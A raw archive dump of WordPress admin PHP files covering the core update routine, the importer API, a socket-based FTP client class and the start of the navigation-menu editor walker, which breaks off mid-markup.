$result->get_error_data(), strlen( $to ) ) ); } } // Custom Content Directory needs updating now. // Copy Languages if ( !is_wp_error($result) && $wp_filesystem->is_dir($from . $distro . 'wp-content/languages') ) { if ( WP_LANG_DIR != ABSPATH . WPINC . '/languages' || @is_dir(WP_LANG_DIR) ) $lang_dir = WP_LANG_DIR; else $lang_dir = WP_CONTENT_DIR . '/languages'; if ( !@is_dir($lang_dir) && 0 === strpos($lang_dir, ABSPATH) ) { // Check the language directory exists first $wp_filesystem->mkdir($to . str_replace(ABSPATH, '', $lang_dir), FS_CHMOD_DIR); // If it's within the ABSPATH we can handle it here, otherwise they're out of luck. clearstatcache(); // for FTP, Need to clear the stat cache } if ( @is_dir($lang_dir) ) { $wp_lang_dir = $wp_filesystem->find_folder($lang_dir); if ( $wp_lang_dir ) { $result = copy_dir($from . $distro . 'wp-content/languages/', $wp_lang_dir); if ( is_wp_error( $result ) ) $result = new WP_Error( $result->get_error_code() . '_languages', $result->get_error_message(), substr( $result->get_error_data(), strlen( $wp_lang_dir ) ) ); } } } /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', __( 'Disabling Maintenance mode…' ) ); // Remove maintenance file, we're done with potential site-breaking changes $wp_filesystem->delete( $maintenance_file ); // 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users, preventing installation of Twenty Twelve. if ( '3.5' == $old_wp_version ) { if ( is_dir( WP_CONTENT_DIR . '/themes/twentytwelve' ) && ! file_exists( WP_CONTENT_DIR . '/themes/twentytwelve/style.css' ) ) { $wp_filesystem->delete( $wp_filesystem->wp_themes_dir() . 'twentytwelve/' ); } } // Copy New bundled plugins & themes // This gives us the ability to install new plugins & themes bundled with future versions of WordPress whilst avoiding the re-install upon upgrade issue. // $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated if ( !is_wp_error($result) && ( ! defined('CORE_UPGRADE_SKIP_NEW_BUNDLED') || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) { foreach ( (array) $_new_bundled_files as $file => $introduced_version ) { // If a $development_build or if $introduced version is greater than what the site was previously running if ( $development_build || version_compare( $introduced_version, $old_wp_version, '>' ) ) { $directory = ('/' == $file[ strlen($file)-1 ]); list($type, $filename) = explode('/', $file, 2); // Check to see if the bundled items exist before attempting to copy them if ( ! $wp_filesystem->exists( $from . $distro . 'wp-content/' . $file ) ) continue; if ( 'plugins' == $type ) $dest = $wp_filesystem->wp_plugins_dir(); elseif ( 'themes' == $type ) $dest = trailingslashit($wp_filesystem->wp_themes_dir()); // Back-compat, ::wp_themes_dir() did not return trailingslash'd pre-3.2 else continue; if ( ! $directory ) { if ( ! $development_build && $wp_filesystem->exists( $dest . $filename ) ) continue; if ( ! $wp_filesystem->copy($from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE) ) $result = new WP_Error( "copy_failed_for_new_bundled_$type", __( 'Could not copy file.' ), $dest . $filename ); } else { if ( ! $development_build && $wp_filesystem->is_dir( $dest . $filename ) ) continue; $wp_filesystem->mkdir($dest . $filename, FS_CHMOD_DIR); $_result = copy_dir( $from . $distro . 'wp-content/' . $file, $dest . $filename); // If a error occurs partway through this final step, keep the error flowing through, but keep process going. if ( is_wp_error( $_result ) ) { if ( ! is_wp_error( $result ) ) $result = new WP_Error; $result->add( $_result->get_error_code() . "_$type", $_result->get_error_message(), substr( $_result->get_error_data(), strlen( $dest ) ) ); } } } } //end foreach } // Handle $result error from the above blocks if ( is_wp_error($result) ) { $wp_filesystem->delete($from, true); return $result; } // Remove old files foreach ( $_old_files as $old_file ) { $old_file = $to . $old_file; if ( !$wp_filesystem->exists($old_file) ) continue; // If the file isn't deleted, try writing an empty string to the file instead. if ( ! $wp_filesystem->delete( $old_file, true ) && $wp_filesystem->is_file( $old_file ) ) { $wp_filesystem->put_contents( $old_file, '' ); } } // Remove any Genericons example.html's from the filesystem _upgrade_422_remove_genericons(); // Upgrade DB with separate request /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', __( 'Upgrading database…' ) ); $db_upgrade_url = admin_url('upgrade.php?step=upgrade_db'); wp_remote_post($db_upgrade_url, array('timeout' => 60)); // Clear the cache to prevent an update_option() from saving a stale db_version to the cache wp_cache_flush(); // (Not all cache backends listen to 'flush') wp_cache_delete( 'alloptions', 'options' ); // Remove working directory $wp_filesystem->delete($from, true); // Force refresh of update information if ( function_exists('delete_site_transient') ) delete_site_transient('update_core'); else delete_option('update_core'); /** * Fires after WordPress core has been successfully updated. * * @since 3.3.0 * * @param string $wp_version The current WordPress version. */ do_action( '_core_updated_successfully', $wp_version ); // Clear the option that blocks auto updates after failures, now that we've been successful. if ( function_exists( 'delete_site_option' ) ) delete_site_option( 'auto_core_update_failed' ); return $wp_version; } /** * Copies a directory from one location to another via the WordPress Filesystem Abstraction. * Assumes that WP_Filesystem() has already been called and setup. * * This is a temporary function for the 3.1 -> 3.2 upgrade, as well as for those upgrading to * 3.7+ * * @ignore * @since 3.2.0 * @since 3.7.0 Updated not to use a regular expression for the skip list * @see copy_dir() * * @param string $from source directory * @param string $to destination directory * @param array $skip_list a list of files/folders to skip copying * @return mixed WP_Error on failure, True on success. */ function _copy_dir($from, $to, $skip_list = array() ) { global $wp_filesystem; $dirlist = $wp_filesystem->dirlist($from); $from = trailingslashit($from); $to = trailingslashit($to); foreach ( (array) $dirlist as $filename => $fileinfo ) { if ( in_array( $filename, $skip_list ) ) continue; if ( 'f' == $fileinfo['type'] ) { if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) { // If copy failed, chmod file to 0644 and try again. $wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE ); if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) return new WP_Error( 'copy_failed__copy_dir', __( 'Could not copy file.' ), $to . $filename ); } } elseif ( 'd' == $fileinfo['type'] ) { if ( !$wp_filesystem->is_dir($to . $filename) ) { if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) ) return new WP_Error( 'mkdir_failed__copy_dir', __( 'Could not create directory.' ), $to . $filename ); } // generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list $sub_skip_list = array(); foreach ( $skip_list as $skip_item ) { if ( 0 === strpos( $skip_item, $filename . '/' ) ) $sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item ); } $result = _copy_dir($from . $filename, $to . $filename, $sub_skip_list); if ( is_wp_error($result) ) return $result; } } return true; } /** * Redirect to the About WordPress page after a successful upgrade. * * This function is only needed when the existing install is older than 3.4.0. * * @since 3.3.0 * */ function _redirect_to_about_wordpress( $new_version ) { global $wp_version, $pagenow, $action; if ( version_compare( $wp_version, '3.4-RC1', '>=' ) ) return; // Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts. if ( 'update-core.php' != $pagenow ) return; if ( 'do-core-upgrade' != $action && 'do-core-reinstall' != $action ) return; // Load the updated default text localization domain for new strings load_default_textdomain(); // See do_core_upgrade() show_message( __('WordPress updated successfully') ); // self_admin_url() won't exist when upgrading from <= 3.0, so relative URLs are intentional. show_message( '<span class="hide-if-no-js">' . sprintf( __( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ), $new_version, 'about.php?updated' ) . '</span>' ); show_message( '<span class="hide-if-js">' . sprintf( __( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ), $new_version, 'about.php?updated' ) . '</span>' ); echo '</div>'; ?> <script type="text/javascript"> window.location = 'about.php?updated'; </script> <?php // Include admin-footer.php and exit include(ABSPATH . 'wp-admin/admin-footer.php'); exit(); } add_action( '_core_updated_successfully', '_redirect_to_about_wordpress' ); /** * Cleans up Genericons example files. * * @since 4.2.2 */ function _upgrade_422_remove_genericons() { global $wp_theme_directories, $wp_filesystem; // A list of the affected files using the filesystem absolute paths. $affected_files = array(); // Themes foreach ( $wp_theme_directories as $directory ) { $directory = trailingslashit( $directory ); $affected_theme_files = _upgrade_422_find_genericons_files_in_folder( $directory ); $affected_files = array_merge( $affected_files, $affected_theme_files ); } // Plugins $plugin_dir = trailingslashit( WP_PLUGIN_DIR ); $affected_plugin_files = _upgrade_422_find_genericons_files_in_folder( $plugin_dir ); $affected_files = array_merge( $affected_files, $affected_plugin_files ); foreach ( $affected_files as $file ) { $gen_dir = $wp_filesystem->find_folder( dirname( $file ) . '/' ); if ( ! $gen_dir ) { continue; } // The path when the file is accessed via WP_Filesystem may differ in the case of FTP $remote_file = $gen_dir . basename( $file ); if ( ! $wp_filesystem->exists( $remote_file ) ) { continue; } if ( ! $wp_filesystem->delete( $remote_file, false, 'f' ) ) { $wp_filesystem->put_contents( $remote_file, '' ); } } } /** * Recursively find Genericons example files in a given folder. * * @ignore * @since 4.2.2 * * @param string $directory Directory path. Expects trailingslashed. * @return array */ function _upgrade_422_find_genericons_files_in_folder( $directory ) { $files = array(); if ( file_exists( "{$directory}example.html" ) && false !== strpos( file_get_contents( "{$directory}example.html" ), '<title>Genericons</title>' ) ) { $files[] = substr( "{$directory}example.html", strlen( $base ) ); } foreach ( glob( $directory . '*', GLOB_ONLYDIR ) as $dir ) { $dir = trailingslashit( $dir ); $files = array_merge( $files, _upgrade_422_find_genericons_files_in_folder( $dir ) ); } return $files; } import.php000077700000014144151514577750006623 0ustar00<?php /** * WordPress Administration Importer API. * * @package WordPress * @subpackage Administration */ /** * Retrieve list of importers. * * @since 2.0.0 * * @return array */ function get_importers() { global $wp_importers; if ( is_array( $wp_importers ) ) { uasort( $wp_importers, '_usort_by_first_member' ); } return $wp_importers; } /** * Sorts a multidimensional array by first member of each top level member * * Used by uasort() as a callback, should not be used directly. * * @since 2.9.0 * @access private * * @param array $a * @param array $b * @return int */ function _usort_by_first_member( $a, $b ) { return strnatcasecmp( $a[0], $b[0] ); } /** * Register importer for WordPress. * * @since 2.0.0 * * @param string $id Importer tag. Used to uniquely identify importer. * @param string $name Importer name and title. * @param string $description Importer description. * @param callback $callback Callback to run. * @return WP_Error Returns WP_Error when $callback is WP_Error. */ function register_importer( $id, $name, $description, $callback ) { global $wp_importers; if ( is_wp_error( $callback ) ) return $callback; $wp_importers[$id] = array ( $name, $description, $callback ); } /** * Cleanup importer. * * Removes attachment based on ID. * * @since 2.0.0 * * @param string $id Importer ID. */ function wp_import_cleanup( $id ) { wp_delete_attachment( $id ); } /** * Handle importer uploading and add attachment. * * @since 2.0.0 * * @return array Uploaded file's details on success, error message on failure */ function wp_import_handle_upload() { if ( !isset($_FILES['import']) ) { $file['error'] = __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' ); return $file; } $overrides = array( 'test_form' => false, 'test_type' => false ); $_FILES['import']['name'] .= '.txt'; $file = wp_handle_upload( $_FILES['import'], $overrides ); if ( isset( $file['error'] ) ) return $file; $url = $file['url']; $type = $file['type']; $file = $file['file']; $filename = basename( $file ); // Construct the object array $object = array( 'post_title' => $filename, 'post_content' => $url, 'post_mime_type' => $type, 'guid' => $url, 'context' => 'import', 'post_status' => 'private' ); // Save the data $id = wp_insert_attachment( $object, $file ); // schedule a cleanup for one day from now in case of failed import or missing wp_import_cleanup() call wp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) ); return array( 'file' => $file, 'id' => $id ); } /** * Returns a list from WordPress.org of popular importer plugins. * * @since 3.5.0 * * @return array Importers with metadata for each. */ function wp_get_popular_importers() { include ABSPATH . WPINC . '/version.php'; // include an unmodified $wp_version $locale = get_locale(); $popular_importers = get_site_transient( 'popular_importers_' . $locale ); if ( ! $popular_importers ) { $url = add_query_arg( 'locale', get_locale(), 'http://api.wordpress.org/core/importers/1.1/' ); $options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url() ); $response = wp_remote_get( $url, $options ); $popular_importers = json_decode( wp_remote_retrieve_body( $response ), true ); if ( is_array( $popular_importers ) ) set_site_transient( 'popular_importers_' . $locale, $popular_importers, 2 * DAY_IN_SECONDS ); else $popular_importers = false; } if ( is_array( $popular_importers ) ) { // If the data was received as translated, return it as-is. if ( $popular_importers['translated'] ) return $popular_importers['importers']; foreach ( $popular_importers['importers'] as &$importer ) { $importer['description'] = translate( $importer['description'] ); if ( $importer['name'] != 'WordPress' ) $importer['name'] = translate( $importer['name'] ); } return $popular_importers['importers']; } return array( // slug => name, description, plugin slug, and register_importer() slug 'blogger' => array( 'name' => __( 'Blogger' ), 'description' => __( 'Install the Blogger importer to import posts, comments, and users from a Blogger blog.' ), 'plugin-slug' => 'blogger-importer', 'importer-id' => 'blogger', ), 'wpcat2tag' => array( 'name' => __( 'Categories and Tags Converter' ), 'description' => __( 'Install the category/tag converter to convert existing categories to tags or tags to categories, selectively.' ), 'plugin-slug' => 'wpcat2tag-importer', 'importer-id' => 'wp-cat2tag', ), 'livejournal' => array( 'name' => __( 'LiveJournal' ), 'description' => __( 'Install the LiveJournal importer to import posts from LiveJournal using their API.' ), 'plugin-slug' => 'livejournal-importer', 'importer-id' => 'livejournal', ), 'movabletype' => array( 'name' => __( 'Movable Type and TypePad' ), 'description' => __( 'Install the Movable Type importer to import posts and comments from a Movable Type or TypePad blog.' ), 'plugin-slug' => 'movabletype-importer', 'importer-id' => 'mt', ), 'opml' => array( 'name' => __( 'Blogroll' ), 'description' => __( 'Install the blogroll importer to import links in OPML format.' ), 'plugin-slug' => 'opml-importer', 'importer-id' => 'opml', ), 'rss' => array( 'name' => __( 'RSS' ), 'description' => __( 'Install the RSS importer to import posts from an RSS feed.' ), 'plugin-slug' => 'rss-importer', 'importer-id' => 'rss', ), 'tumblr' => array( 'name' => __( 'Tumblr' ), 'description' => __( 'Install the Tumblr importer to import posts & media from Tumblr using their API.' ), 'plugin-slug' => 'tumblr-importer', 'importer-id' => 'tumblr', ), 'wordpress' => array( 'name' => 'WordPress', 'description' => __( 'Install the WordPress importer to import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.' ), 'plugin-slug' => 'wordpress-importer', 'importer-id' => 'wordpress', ), ); } class-ftp-sockets.php000077700000020524151514577750010655 0ustar00<?php /** * PemFTP - A Ftp implementation in pure PHP * * @package PemFTP * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link http://www.phpclasses.org/browse/package/1743.html Site * @license LGPL http://www.opensource.org/licenses/lgpl-license.html */ /** * Socket Based FTP implementation * * @package PemFTP * @subpackage Socket * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link http://www.phpclasses.org/browse/package/1743.html Site * @license LGPL http://www.opensource.org/licenses/lgpl-license.html */ class ftp extends ftp_base { function ftp($verb=FALSE, $le=FALSE) { $this->__construct($verb, $le); } function __construct($verb=FALSE, $le=FALSE) { parent::__construct(true, $verb, $le); } // <!-- --------------------------------------------------------------------------------------- --> // <!-- Private functions --> // <!-- --------------------------------------------------------------------------------------- --> function _settimeout($sock) { if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) { $this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock))); @socket_close($sock); return FALSE; } if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) { $this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock))); @socket_close($sock); return FALSE; } return true; } function _connect($host, $port) { $this->SendMSG("Creating socket"); if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) { $this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock))); return FALSE; } if(!$this->_settimeout($sock)) return FALSE; $this->SendMSG("Connecting to \"".$host.":".$port."\""); if (!($res = @socket_connect($sock, $host, $port))) { $this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock))); @socket_close($sock); return FALSE; } $this->_connected=true; return $sock; } function _readmsg($fnction="_readmsg"){ if(!$this->_connected) { $this->PushError($fnction,'Connect first'); return FALSE; } $result=true; $this->_message=""; $this->_code=0; $go=true; do { $tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ); if($tmp===false) { $go=$result=false; $this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock))); } else { $this->_message.=$tmp; $go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs); } } while($go); if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF; $this->_code=(int)$regs[1]; return $result; } function _exec($cmd, $fnction="_exec") { if(!$this->_ready) { $this->PushError($fnction,'Connect first'); return FALSE; } if($this->LocalEcho) echo "PUT > ",$cmd,CRLF; $status=@socket_write($this->_ftp_control_sock, $cmd.CRLF); if($status===false) { $this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream))); return FALSE; } $this->_lastaction=time(); if(!$this->_readmsg($fnction)) return FALSE; return TRUE; } function _data_prepare($mode=FTP_ASCII) { if(!$this->_settype($mode)) return FALSE; $this->SendMSG("Creating data socket"); $this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($this->_ftp_data_sock < 0) { $this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock))); return FALSE; } if(!$this->_settimeout($this->_ftp_data_sock)) { $this->_data_close(); return FALSE; } if($this->_passive) { if(!$this->_exec("PASV", "pasv")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message)); $this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3]; $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]); $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) { $this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } else $this->_ftp_temp_sock=$this->_ftp_data_sock; } else { if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) { $this->PushError("_data_prepare","can't get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock))); $this->_data_close(); return FALSE; } if(!@socket_bind($this->_ftp_data_sock,$addr)){ $this->PushError("_data_prepare","can't bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } if(!@socket_listen($this->_ftp_data_sock)) { $this->PushError("_data_prepare","can't listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) { $this->PushError("_data_prepare","can't get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } } return TRUE; } function _data_read($mode=FTP_ASCII, $fp=NULL) { $NewLine=$this->_eol_code[$this->OS_local]; if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); $this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock); if($this->_ftp_temp_sock===FALSE) { $this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock))); $this->_data_close(); return FALSE; } } while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) { if($block==="") break; if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block); if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block)); else $out.=$block; } return $out; } function _data_write($mode=FTP_ASCII, $fp=NULL) { $NewLine=$this->_eol_code[$this->OS_local]; if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); $this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock); if($this->_ftp_temp_sock===FALSE) { $this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock))); $this->_data_close(); return false; } } if(is_resource($fp)) { while(!feof($fp)) { $block=fread($fp, $this->_ftp_buff_size); if(!$this->_data_write_block($mode, $block)) return false; } } elseif(!$this->_data_write_block($mode, $fp)) return false; return true; } function _data_write_block($mode, $block) { if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block); do { if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) { $this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock))); $this->_data_close(); return FALSE; } $block=substr($block, $t); } while(!empty($block)); return true; } function _data_close() { @socket_close($this->_ftp_temp_sock); @socket_close($this->_ftp_data_sock); $this->SendMSG("Disconnected data from remote host"); return TRUE; } function _quit() { if($this->_connected) { @socket_close($this->_ftp_control_sock); $this->_connected=false; $this->SendMSG("Socket closed"); } } } ?> nav-menu.php000077700000146576151514577750007056 0ustar00<?php /** * Create HTML list of nav menu input items. * * @package WordPress * @since 3.0.0 * @uses Walker_Nav_Menu */ class Walker_Nav_Menu_Edit extends Walker_Nav_Menu { /** * Starts the list before the elements are added. * * @see Walker_Nav_Menu::start_lvl() * * @since 3.0.0 * * @param string $output Passed by reference. * @param int $depth Depth of menu item. Used for padding. * @param array $args Not used. */ function start_lvl( &$output, $depth = 0, $args = array() ) {} /** * Ends the list of after the elements are added. * * @see Walker_Nav_Menu::end_lvl() * * @since 3.0.0 * * @param string $output Passed by reference. * @param int $depth Depth of menu item. Used for padding. * @param array $args Not used. */ function end_lvl( &$output, $depth = 0, $args = array() ) {} /** * Start the element output. * * @see Walker_Nav_Menu::start_el() * @since 3.0.0 * * @param string $output Passed by reference. Used to append additional content. * @param object $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param array $args Not used. * @param int $id Not used. */ function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { global $_wp_nav_menu_max_depth; $_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth; ob_start(); $item_id = esc_attr( $item->ID ); $removed_args = array( 'action', 'customlink-tab', 'edit-menu-item', 'menu-item', 'page-tab', '_wpnonce', ); $original_title = ''; if ( 'taxonomy' == $item->type ) { $original_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' ); if ( is_wp_error( $original_title ) ) $original_title = false; } elseif ( 'post_type' == $item->type ) { $original_object = get_post( $item->object_id ); $original_title = get_the_title( $original_object->ID ); } $classes = array( 'menu-item menu-item-depth-' . $depth, 'menu-item-' . esc_attr( $item->object ), 'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? 'active' : 'inactive'), ); $title = $item->title; if ( ! empty( $item->_invalid ) ) { $classes[] = 'menu-item-invalid'; /* translators: %s: title of menu item which is invalid */ $title = sprintf( __( '%s (Invalid)' ), $item->title ); } elseif ( isset( $item->post_status ) && 'draft' == $item->post_status ) { $classes[] = 'pending'; /* translators: %s: title of menu item in draft status */ $title = sprintf( __('%s (Pending)'), $item->title ); } $title = ( ! isset( $item->label ) || '' == $item->label ) ? $title : $item->label; $submenu_text = ''; if ( 0 == $depth ) $submenu_text = 'style="display: none;"'; ?> <li id="menu-item-<?php echo $item_id; ?>" class="<?php echo implode(' ', $classes ); ?>"> <dl class="menu-item-bar"> <dt class="menu-item-handle"> <span class="item-title"><span class="menu-item-title"><?php echo esc_html( $title ); ?></span> <span class="is-submenu" <?php echo $submenu_text; ?>><?php _e( 'sub item' ); ?></span></span> <span class="item-controls"> <span class="item-type"><?php echo esc_html( $item->type_label ); ?></span> <span class="item-order hide-if-js"> <a href="<?php echo wp_nonce_url( add_query_arg( array( 'action' => 'move-up-menu-item', 'menu-item' => $item_id, ), remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) ) ), 'move-menu_item' ); ?>" class="item-move-up"><abbr title="<?php esc_attr_e('Move up'); ?>">↑</abbr></a> | <a href="<?php echo wp_nonce_url( add_query_arg( array( 'action' => 'move-down-menu-item', 'menu-item' => $item_id, ), remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) ) ), 'move-menu_item' ); ?>" class="item-move-down"><abbr title="<?php esc_attr_e('Move down'); ?>">↓</abbr></a> </span> <a class="item-edit" id="edit-<?php echo $item_id; ?>" title="<?php esc_attr_e('Edit Menu Item'); ?>" href="<?php echo ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? admin_url( 'nav-menus.php' ) : add_query_arg( 'edit-menu-item', $item_id, remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) ) ); ?>"><?php _e( 'Edit Menu Item' ); ?></a> </span> </dt> </dl> <div class="menu-item-settings" id="menu-item-settings-<?php echo $item_id; ?>"> <?php if( 'custom' == $item->type ) : ?> <p class="field-url description description-wide"> <label for="edit-menu-item-url-<?php echo $item_id; ?>"> <?php _e( 'URL' ); ?><br /> <input type="text" id="edit-menu-item-url-<?php echo $item_id; ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->url ); ?>" /> </label> </p> <?php endif; ?> <p class="description description-thin"> <label for="edit-menu-item-title-<?php echo $item_id; ?>"> <?php _e( 'Navigation Label' ); ?><br /> <input type="text" id="edit-menu-item-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->title ); ?>" /> </label> </p> <p class="description description-thin"> <label for="edit-menu-item-attr-title-<?php echo $item_id; ?>"> <?php _e( 'Title Attribute' ); ?><br /> <input type="text" id="edit-menu-item-attr-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->post_excerpt ); ?>" /> </label> </p> <p class="field-link-target description"> <label for="edit-menu-item-target-<?php echo $item_id; ?>"> <input type="checkbox" id="edit-menu-item-target-<?php echo $item_id; ?>" value="_blank" name="menu-item-target[<?php echo $item_id; ?>]"<?php checked( $item->target, '_blank' ); ?> /> <?php _e( 'Open link in a new window/tab' ); ?> </label> </p> <p class="field-css-classes description description-thin"> <label for="edit-menu-item-classes-<?php echo $item_id; ?>"> <?php _e( 'CSS Classes (optional)' ); ?><br /> <input type="text" id="edit-menu-item-classes-<?php echo $item_id; ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo $item_id; ?>]" value="<?php echo esc_attr( implode(' ', $item->classes ) ); ?>" /> </label> </p> <p class="field-xfn description description-thin"> <label for="edit-menu-item-xfn-<?php echo $item_id; ?>"> <?php _e( 'Link Relationship (XFN)' ); ?><br /> <input type="text" id="edit-menu-item-xfn-<?php echo $item_id; ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->xfn ); ?>" /> </label> </p> <p class="field-description description description-wide"> <label for="edit-menu-item-description-<?php echo $item_id; ?>"> <?php _e( 'Description' ); ?><br /> <textarea id="edit-menu-item-description-<?php echo $item_id; ?>" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description[<?php echo $item_id; ?>]"><?php echo esc_html( $item->description ); // textarea_escaped ?></textarea> <span class="description"><?php _e('The description will be displayed in the menu if the current theme supports it.'); ?></span> </label> </p> <p class="field-move hide-if-no-js description description-wide"> <label> <span><?php _e( 'Move' ); ?></span> <a href="#" class="menus-move-up"><?php _e( 'Up one' ); ?></a> <a href="#" class="menus-move-down"><?php _e( 'Down one' ); ?></a> <a href="#" class="menus-move-left"></a> <a href="#" class="menus-move-right"></a> <a href="#" class="menus-move-top"><?php _e( 'To the top' ); ?></a> </label> </p> <div class="menu-item-actions description-wide submitbox"> <?php if( 'custom' != $item->type && $original_title !== false ) : ?> <p class="link-to-original"> <?php printf( __('Original: %s'), '<a href="' . esc_attr( $item->url ) . '">' . esc_html( $original_title ) . '</a>' ); ?> </p> <?php endif; ?> <a class="item-delete submitdelete deletion" id="delete-<?php echo $item_id; ?>" href="<?php echo wp_nonce_url( add_query_arg( array( 'action' => 'delete-menu-item', 'menu-item' => $item_id, ), admin_url( 'nav-menus.php' ) ), 'delete-menu_item_' . $item_id ); ?>"><?php _e( 'Remove' ); ?></a> <span class="meta-sep hide-if-no-js"> | </span> <a class="item-cancel submitcancel hide-if-no-js" id="cancel-<?php echo $item_id; ?>" href="<?php echo esc_url( add_query_arg( array( 'edit-menu-item' => $item_id, 'cancel' => time() ), admin_url( 'nav-menus.php' ) ) ); ?>#menu-item-settings-<?php echo $item_id; ?>"><?php _e('Cancel'); ?></a> </div> <input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo $item_id; ?>]" value="<?php echo $item_id; ?>" /> <input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object_id ); ?>" /> <input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object ); ?>" /> <input 